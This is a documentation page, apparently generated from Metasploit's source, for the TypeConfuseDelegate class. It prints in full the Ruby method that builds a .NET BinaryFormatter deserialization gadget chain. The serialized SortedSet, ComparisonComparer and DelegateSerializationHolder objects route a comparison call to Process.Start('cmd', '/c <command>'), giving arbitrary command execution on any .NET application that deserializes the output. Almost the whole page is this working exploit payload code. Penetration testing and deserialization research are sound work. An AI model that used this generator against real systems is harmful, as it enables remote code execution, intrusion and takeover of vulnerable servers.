Class: Msf::Util::DotNetDeserialization::GadgetChains::TypeConfuseDelegate

Inherits:
Types::SerializedStream
  • Object
show all
Defined in:
lib/msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate.rb

Class Method Summary collapse

Methods inherited from Types::SerializedStream

from_values, #get_object, #set_object

Class Method Details

.generate(cmd) ⇒ Object

TypeConfuseDelegate

Credits:
  Finders: James Forshaw
  Contributors: Alvaro Munoz



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# File 'lib/msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate.rb', line 13

def self.generate(cmd)
  mscorlib = Assemblies::VERSIONS['4.0.0.0'].fetch('mscorlib')
  system = Assemblies::VERSIONS['4.0.0.0'].fetch('System')

  library = Types::RecordValues::BinaryLibrary.new(
    library_id: 2,
    library_name: system.to_s
  )

  obj_id_8 = Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
    class_info: Types::General::ClassInfo.new(
      obj_id: 8,
      name: 'System.DelegateSerializationHolder+DelegateEntry',
      member_names: %w{ type assembly target targetTypeAssembly targetTypeName methodName delegateEntry }
    ),
    member_type_info: Types::General::MemberTypeInfo.new(
      binary_type_enums: %i{ String String Object String String String SystemClass },
      additional_infos: [ 'System.DelegateSerializationHolder+DelegateEntry' ]
    ),
    member_values: [
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 11,
        string: "System.Func`3[[#{mscorlib['System.String']}],[#{mscorlib['System.String']}],[#{system['System.Diagnostics.Process']}]]"
      )),
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 12,
        string: mscorlib.to_s
      )),
      Types::Record.from_value(Types::RecordValues::ObjectNull.new),
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 13,
        string: system.to_s
      )),
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 14,
        string: 'System.Diagnostics.Process'
      )),
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 15,
        string: 'Start'
      )),
      Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 16))
    ]
  )

  obj_id_9 = Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
    class_info: Types::General::ClassInfo.new(
      obj_id: 9,
      name: 'System.Reflection.MemberInfoSerializationHolder',
      member_names: %w{ Name AssemblyName ClassName Signature Signature2 MemberType GenericArguments }
    ),
    member_type_info: Types::General::MemberTypeInfo.new(
      binary_type_enums: %i{ String String String String String Primitive SystemClass },
      additional_infos: [
        Enums::PrimitiveTypeEnum.fetch(:Int32),
        'System.Type[]'
      ]
    ),
    member_values: [
      Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 15)),
      Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 13)),
      Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 14)),
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 20,
        string: 'System.Diagnostics.Process Start(System.String, System.String)'
      )),
      Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
        obj_id: 21,
        string: 'System.Diagnostics.Process Start(System.String, System.String)'
      )),
      8,
      Types::Record.from_value(Types::RecordValues::ObjectNull.new)
    ]
  )

  self.from_values([
    Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
    library,
    Types::RecordValues::ClassWithMembersAndTypes.from_member_values(
      class_info: Types::General::ClassInfo.new(
        obj_id: 1,
        name: "System.Collections.Generic.SortedSet`1[[#{mscorlib['System.String']}]]",
        member_names: %w{ Count Comparer Version Items }
      ),
      member_type_info: Types::General::MemberTypeInfo.new(
        binary_type_enums: %i{ Primitive SystemClass Primitive StringArray },
        additional_infos: [
          Enums::PrimitiveTypeEnum.fetch(:Int32),
          "System.Collections.Generic.ComparisonComparer`1[[#{mscorlib['System.String']}]]",
          Enums::PrimitiveTypeEnum.fetch(:Int32)
        ]
      ),
      library_id: library.library_id,
      member_values: [
        2,
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 3)),
        2,
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 4))
      ]
    ),
    Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
      class_info: Types::General::ClassInfo.new(
        obj_id: 3,
        name: "System.Collections.Generic.ComparisonComparer`1[[#{mscorlib['System.String']}]]",
        member_names: %w{ _comparison }
      ),
      member_type_info: Types::General::MemberTypeInfo.new(
        binary_type_enums: %i{ SystemClass },
        additional_infos: [ 'System.DelegateSerializationHolder' ]
      ),
      member_values: [
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 5))
      ]
    ),
    Types::RecordValues::ArraySingleString.new(
      array_info: {obj_id: 4, member_count: 2},
      members: [
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(obj_id: 6, string: "/c #{cmd}")),
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(obj_id: 7, string: 'cmd'))
      ]
    ),
    Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
      class_info: Types::General::ClassInfo.new(
        obj_id: 5,
        name: 'System.DelegateSerializationHolder',
        member_names: %w{ Delegate method0 method1 }
      ),
      member_type_info: Types::General::MemberTypeInfo.new(
        binary_type_enums: %i{ SystemClass SystemClass SystemClass },
        additional_infos: [
          'System.DelegateSerializationHolder+DelegateEntry',
          'System.Reflection.MemberInfoSerializationHolder',
          'System.Reflection.MemberInfoSerializationHolder'
        ]
      ),
      member_values: [
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 8)),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 9)),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 10))
      ]
    ),
    obj_id_8,
    obj_id_9,
    Types::RecordValues::ClassWithId.from_member_values(
      obj_id: 10,
      metadata_id: 9,
      class_info: obj_id_9.class_info,
      member_type_info: obj_id_9.member_type_info,
      member_values: [
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
          obj_id: 22,
          string: 'Compare'
        )),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 12)),
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
          obj_id: 24,
          string: 'System.String'
        )),
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
          obj_id: 25,
          string: 'Int32 Compare(System.String, System.String)'
        )),
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
          obj_id: 26,
          string: 'System.Int32 Compare(System.String, System.String)'
        )),
        8,
        Types::Record.from_value(Types::RecordValues::ObjectNull.new)
      ]
    ),
    Types::RecordValues::ClassWithId.from_member_values(
      obj_id: 16,
      metadata_id: 8,
      class_info: obj_id_8.class_info,
      member_type_info: obj_id_8.member_type_info,
      member_values: [
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
          obj_id: 27,
          string: "System.Comparison`1[[#{mscorlib['System.String']}]]"
        )),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 12)),
        Types::Record.from_value(Types::RecordValues::ObjectNull.new),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 12)),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 24)),
        Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 22)),
        Types::Record.from_value(Types::RecordValues::ObjectNull.new)
      ]
    ),
    Types::RecordValues::MessageEnd.new,
  ])
end